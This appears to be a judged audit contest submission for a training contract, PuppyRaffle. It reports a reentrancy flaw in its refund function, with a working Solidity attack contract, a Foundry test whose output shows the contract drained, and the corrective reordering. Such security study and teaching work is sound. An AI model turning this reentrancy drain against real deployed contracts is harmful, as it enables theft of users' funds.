Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

reentrance issue in the `PuppyRaffle::refund` function

Summary

Users are allowed to get a refund of their ticket and value if they call the refund function. Unfortunately, there is an issue that allows any user to get more of a refund than deposited.

Vulnerability Details

// @param playerIndex the index of the player to refund. You can find it externally by calling `getActivePlayerIndex`
/// @dev This function will allow there to be blank spots in the array
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(
playerAddress == msg.sender,
"PuppyRaffle: Only the player can refund"
);
require(
playerAddress != address(0),
"PuppyRaffle: Player already refunded, or is not active"
);
@> payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

PuppyRaffle.sol - Line 101

The PuppyRaffle::refund function sends the value back to the user using the sendValue function of the Address library, which makes a low-level external call to the receiver's address. This receiver can be a contract, which can make another call back to the PuppyRaffle::refund function. This cycle can continue until the PuppyRaffle contract has no more funds.

The main cause of this issue is the violation of the check-effect-interaction pattern, which recommends the following steps:

  1. Check all conditions first.

  2. Then update the state of the contract.

  3. And, at the end, make any external call.

Unfortunately, in this case, the protocol is updating the players[playerIndex] = address(0) after the external call, which renders the second require condition in the refund function useless.

Impact

All funds will be stolen from the PuppyRaffle contract.

PoC

View It

  1. Create Attack.sol file inside the test folder and paste this code in it.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
contract Attack {
PuppyRaffle puppyRaffle;
uint256 constant ENTRANCE_FEE = 1e18;
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
}
function attack() external {
// * create players
address[] memory players = new address[](1);
players[0] = address(this);
// * enter raffle
puppyRaffle.enterRaffle{value: ENTRANCE_FEE}(players);
// * get refund
puppyRaffle.refund(puppyRaffle.getActivePlayerIndex(players[0]));
}
receive() external payable {
if (address(puppyRaffle).balance >= ENTRANCE_FEE) {
puppyRaffle.refund(puppyRaffle.getActivePlayerIndex(address(this)));
}
}
}
  1. In the PuppyRaffleTest::setUp function import Attack contract and create instance of it.

import {Attack} from "./Attack.sol";
...
Attack attack;
function setUp() public {
puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
attack = new Attack(puppyRaffle);
}
  1. And paste this test function inside PuppyRaffleTest file.

function test_HackPuppyRaffle() public {
// * give some eth to attack contract for entrance fee
vm.deal(payable(address(attack)), entranceFee);
assertEq(address(attack).balance, entranceFee);
console.log("Attack's Balance Before: ", address(attack).balance);
// * give some eth to puppyRaffle contract so we can see the hack
vm.deal(payable(address(puppyRaffle)), 10 * entranceFee);
console.log(
"PuppyRaffle's Balance Before: ",
address(puppyRaffle).balance
);
attack.attack();
// * attack contract balance should be 11 times entranceFee
assertEq(address(attack).balance, 11 * entranceFee);
console.log("Attack's Balance After: ", address(attack).balance);
// * and puppyRaffle contract balance should be 0
assertEq(address(puppyRaffle).balance, 0);
console.log(
"PuppyRaffle's Balance After: ",
address(puppyRaffle).balance
);
}

OUTPUT

Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] test_HackPuppyRaffle() (gas: 178334)
Logs:
Attack's Balance Before: 1000000000000000000
PuppyRaffle's Balance Before: 10000000000000000000
Attack's Balance After: 11000000000000000000
PuppyRaffle's Balance After: 0
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.00ms

Tools Used

Manual Review

Recommendations

Follow the check-effect-interaction pattern and update the players[playerIndex] = address(0) before the external call.

- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);
Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!